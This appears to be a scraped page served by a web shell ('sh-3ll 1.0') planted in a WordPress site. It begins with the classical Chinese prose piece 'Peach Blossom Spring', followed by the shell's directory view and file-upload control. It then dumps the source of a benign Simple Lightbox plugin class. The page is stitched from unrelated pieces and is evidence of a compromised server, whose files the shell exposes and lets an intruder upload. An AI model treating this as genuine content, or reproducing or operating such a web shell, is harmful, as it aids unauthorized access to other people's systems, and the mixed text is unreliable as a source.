晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/salvufkx/homedir/www/wp-content/plugins/simple-lightbox/includes/
Upload File :
Current File : //home/salvufkx/homedir/www/wp-content/plugins/simple-lightbox/includes/class.component.php
<?php

/**
 * Component
 * @package Simple Lightbox
 * @subpackage Base
 * @author Archetyped
 */
class SLB_Component extends SLB_Base_Object {
	/* Properties */
	
	/**
	 * Pretty name
	 * @var string
	 */
	protected $name = '';
	
	protected $props_required = array();
	
	private $props_required_base = array('id');
	
	/* Get/Set */
	
	/**
	 * Set name
	 * @param string $name Name
	 * @return Current instance
	 */
	public function set_name($name) {
		if ( is_string($name) ) {
			$name = trim($name);
			if ( !empty($name) ) {
				$this->name = $name;
			}
		}
		return $this;
	}
	
	public function get_name() {
		return $this->name;
	}
	
	public function set_scripts($scripts) {
		$this->add_files('scripts', $scripts);
	}
	
	public function set_styles($styles) {
		$this->add_files('styles', $styles);
	}
	
	/* Assets */
	
	/**
	 * Get formatted handle for file
	 * @param string $base_handle Base handle to format
	 * @return string Formatted handle
	 */
	public function get_handle($base_handle) {
		return $this->add_prefix( array('asset', $this->get_id(), $base_handle), '-');
	}
	
	/**
	 * Enqueue files in client
	 * @param string $type (optional) Type of file to load (singular) (Default: All client file types)
	 */
	public function enqueue_client_files($type = null) {
		if ( empty($type) ) {
			$type = array ( 'script', 'style');
		}
		if ( !is_array($type) ) {
			$type = array ( $type );
		}
		foreach ( $type as $t ) {
			$m = (object) array (
				'get'		=> $this->m('get_' . $t . 's'),
				'enqueue'	=> 'wp_enqueue_' . $t,
			);
			$v = $this->util->get_plugin_version();
			$files = call_user_func($m->get);
			$param_final = ( 'script' == $t ) ? true : 'all';
			foreach ( $files as $f ) {
				$f = (object) $f;
				// Format handle
				$handle = $this->get_handle($f->handle);
				
				// Format dependencies
				$deps = array();
				foreach ( $f->deps as $dep ) {
					if ( $this->util->has_wrapper($dep) ) {
						$dep = $this->get_handle( $this->util->remove_wrapper($dep) );
					}
					$deps[] = $dep;
				}
				call_user_func($m->enqueue, $handle, $f->uri, $deps, $v, $param_final);
			}
			unset($files, $f, $param_final, $handle, $deps, $dep);
		}
	}
	
	/**
	 * Enqueue scripts
	 */
	public function enqueue_scripts() {
		$this->enqueue_client_files('script');
	}

	/**
	 * Enqueue styles
	 */
	public function enqueue_styles() {
		$this->enqueue_client_files('style');
	}
	
	/* Helpers */
	
	/**
	 * Validate instance
	 * @see `Base_Object::is_valid()`
	 * @return bool Valid (TRUE) / Invalid (FALSE)
	 */
	public function is_valid() {
		$ret = parent::is_valid();
		if ( $ret ) {
			// Check required component properties
			$props = array_merge($this->props_required_base, $this->props_required);
			foreach ( $props as $prop ) {
				if ( !isset($this->{$prop}) || empty($this->{$prop}) ) {
					$ret = false;
					break;
				}
			}
		}
		return $ret;
	}
}